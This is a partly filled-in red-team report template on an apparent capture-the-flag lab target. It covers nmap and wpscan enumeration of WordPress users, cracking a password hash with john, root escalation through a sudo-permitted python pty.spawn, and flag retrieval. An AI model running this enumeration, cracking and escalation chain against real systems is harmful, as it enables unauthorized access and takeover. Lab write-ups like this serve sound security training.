

Red Team: Summary of Operations

Table of Contents

- Exposed Services
- Critical Vulnerabilities
- Exploitation

Exposed Services

Nmap scan results for each machine reveal the below services and OS details:

```
```bash
$nmap -sV -O 192.168.1.1/24
map scan report for 192.168.1.110
Host is up (0.00085s latency).
Not shown: 995 closed ports
PORT
STATE SERVICE
VERSION
22/tcp
open
ssh
OpenSSH 6.7p1 Debian 5+deb8u4 (protocol 2.0)
80/tcp
open
http
Apache httpd 2.4.10 ((Debian))
111/tcp open rpcbind
2-4 (RPC #100000)
139/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
MAC Address: 00:15:5D:00:04:10 (Microsoft)
Service Info: Host: TARGET1; OS: Linux; CP: cpe:/o:linux:linux_kernel
```

```

This scan identifies the services below as potential points of entry:

- Target 1
 - List of
 - critical
 - Exposed Services

TODO: Fill out the list below. Include severity, and CVE numbers, if possible.

The following vulnerabilities were identified on each target:

- Target 1
 - ssh port open
 - wordpress exploitation

```
[+] https://www.rapid7.com/db/modules/auxiliary/dos/http/wordpress_xmlrpc_dos
[+] https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_xmlrpc_login
[+] https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_pingback_access

[+] http://192.168.1.110/wordpress/readme.html
| Found By: Direct Access (Aggressive Detection)
| Confidence: 100%
[+] http://192.168.1.110/wordpress/wp-cron.php
| Found By: Direct Access (Aggressive Detection)
| Confidence: 60%
| References:
|   - https://www.iplocation.net/defend-wordpress-from-ddos
|   - https://github.com/wpscanteam/wpscan/issues/1299

[+] WordPress version 4.8.18 identified (Latest, released on 2022-01-06).
| Found By: Emoji Settings (Passive Detection)
|   - http://192.168.1.110/wordpress/, Match: '-release.min.js?ver=4.8.18'
| Confirmed By: Meta Generator (Passive Detection)
|   - http://192.168.1.110/wordpress/, Match: 'WordPress 4.8.18'

[i] The main theme could not be detected.

[+] Enumerating Users (via Passive and Aggressive Methods)
Brute Forcing Author IDs - Time: 00:00:00 <===== (10 / 10) 100.00% Time: 00:00:00
[i] User(s) Identified:

[+] steven
| Found By: Author Id Brute Forcing - Author Pattern (Aggressive Detection)
| Confirmed By: Login Error Messages (Aggressive Detection)

[+] michael
| Found By: Author Id Brute Forcing - Author Pattern (Aggressive Detection)
| Confirmed By: Login Error Messages (Aggressive Detection)

[!] No WPVulnDB API Token given, as a result vulnerability data has not been output.
[!] You can get a free API token with 50 daily requests by registering at https://wpvulndb.com/users/sign_up

[+] Finished: Tue Jan 18 20:53:41 2022
[+] Requests Done: 48
[+] Cached Requests: 4
[+] Data Sent: 10.471 KB
```

- apache 2.4.10 version (old version)
- easy passwords

```
root@Kali:~/Desktop# echo $P$Bk3VD9jsxx/loJoqNsURgHiaB23j7W/ > hash.txt
root@Kali:~/Desktop# ls
hash.txt
root@Kali:~/Desktop# nano hash.txt
root@Kali:~/Desktop# john hash.txt -wordlist=/usr/share/wordlists/rockyou.txt
Created directory: /root/.john
Using default input encoding: UTF-8
Loaded 1 password hash (phpass [phpass ($P$ or $H$) 256/256 AVX2 8x3])
Cost 1 (iteration count) is 8192 for all loaded hashes
Will run 2 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
pink84          (steven)
1g 0:00:00:05 DONE (2022-01-20 13:17) 0.1824g/s 8373p/s 8373c/s 8373C/s tamika1..milkdud
Use the "--show --format=phpass" options to display all of the cracked passwords reliably
Session completed
```

- python escalated privilege

```

$ sudo -l
Matching Defaults entries for steven on raven:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User steven may run the following commands on raven:
    (ALL) NOPASSWD: /usr/bin/python
$ sudo python -c 'import pty;pty.spawn("/bin/bash")'
root@target1:/usr/bin# sudo -l
Matching Defaults entries for root on raven:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User root may run the following commands on raven:
    (ALL : ALL)
root@target1:/usr/bin# 

```

Exploitation

TODO: Fill out the details below. Include screenshots where possible.

The Red Team was able to penetrate 'Target 1' and retrieve the following confidential data:

- Target 1
 - flag1.txt: b9bbcb33e11b80be759c4e844862482d
 - Exploit Used: grep -Rw flag1

```

michael@target1:/var/www/html$ grep -Rw flag1
service.html:                                     ← flag1{b9bbcb33e11b80be759c4e844862482d} →
michael@target1:/var/www/html$ 

```

-flag2.txt: fc3fd58dcdad9ab23faca6e9a36e581c

- Exploit Used: cd /var/www/
 - cat flag2.txt

```

michael@target1:$ ls
bin dev home lib lost+found mnt proc run srv tmp vagrant vmlinuz
boot etc initrd.img lib64 media opt root sbin sys usr var
michael@target1:$ cd var
michael@target1:/var$ ls
backups cache lib local lock log mail opt run spool tmp www
michael@target1:/var$ ls -l
total 40
drwxr-xr-x  2 root root  4096 Jul  1  2020 backups
drwxr-xr-x  11 root root  4096 Jun 24  2020 cache
drwxr-xr-x  43 root root  4096 Jun 27  2020 lib
drwxrwsr-x  2 root staff  4096 Jun 14  2018 local
lrwxrwxrwx  1 root root   9 Aug 13  2018 lock → /run/lock
drwxr-xr-x  12 root root  4096 Jul  1  2020 log
drwxrwsrwt  2 root mail  4096 Jan 19 15:26 mail
drwxr-xr-x  2 root root  4096 Aug 13  2018 opt
lrwxrwxrwx  1 root root   4 Aug 13  2018 run → /run
drwxr-xr-x  8 root root  4096 Jun 24  2020 spool
drwxrwsrwt  2 root root  4096 Jul  1  2020 tmp
drwxrwxrwx  3 root root  4096 Aug 13  2018 www
michael@target1:/var$ cd lock
michael@target1:/var/lock$ ls
apache2 lockd subsys
michael@target1:/var/lock$ cd ..
michael@target1:/var$ cd www
michael@target1:/var/www$ ls
flag2.txt
michael@target1:/var/www$ cat
^[[A
michael@target1:/var/www$ cat flag2.txt
flag2{fc3fd58dcdad9ab23faca6e9a36e581c}
michael@target1:/var/www$ 

```

-flag4.txt:

-Exploit Used: find / -iname flag*

```
root@target1:/usr/bin# find / -iname flag*
/var/www/flag2.txt
/root/flag4.txt
/usr/lib/python2.7/dist-packages/dns	flags.pyc
/usr/lib/python2.7/dist-packages/dns	flags.py
/usr/share/doc/apache2-doc/manual/tr/rewrite/flags.html
/usr/share/doc/apache2-doc/manual/ja/rewrite/flags.html
/usr/share/doc/apache2-doc/manual/ko/rewrite/flags.html
/usr/share/doc/apache2-doc/manual/zh-cn/rewrite/flags.html
/usr/share/doc/apache2-doc/manual/de/rewrite/flags.html
/usr/share/doc/apache2-doc/manual/es/rewrite/flags.html
/usr/share/doc/apache2-doc/manual/da/rewrite/flags.html
/usr/share/doc/apache2-doc/manual/pt-br/rewrite/flags.html
/usr/share/doc/apache2-doc/manual/fr/rewrite/flags.html
/usr/share/doc/apache2-doc/manual/en/rewrite/flags.html
/sys/devices/pnp0/00:03/tty/ttyS0/flags
/sys/devices/pnp0/00:04/tty/ttyS1/flags
/sys/devices/virtual/net/lo/flags
/sys/devices/platform/serial8250/tty/ttyS2/flags
/sys/devices/platform/serial8250/tty/ttyS3/flags
/sys/devices/LNXSYSTM:00/LNXSYBUS:00/PNP0A03:00/device:07/VMBUS:01/vmbus_0_14/net/eth0/flags
root@target1:/usr/bin#
```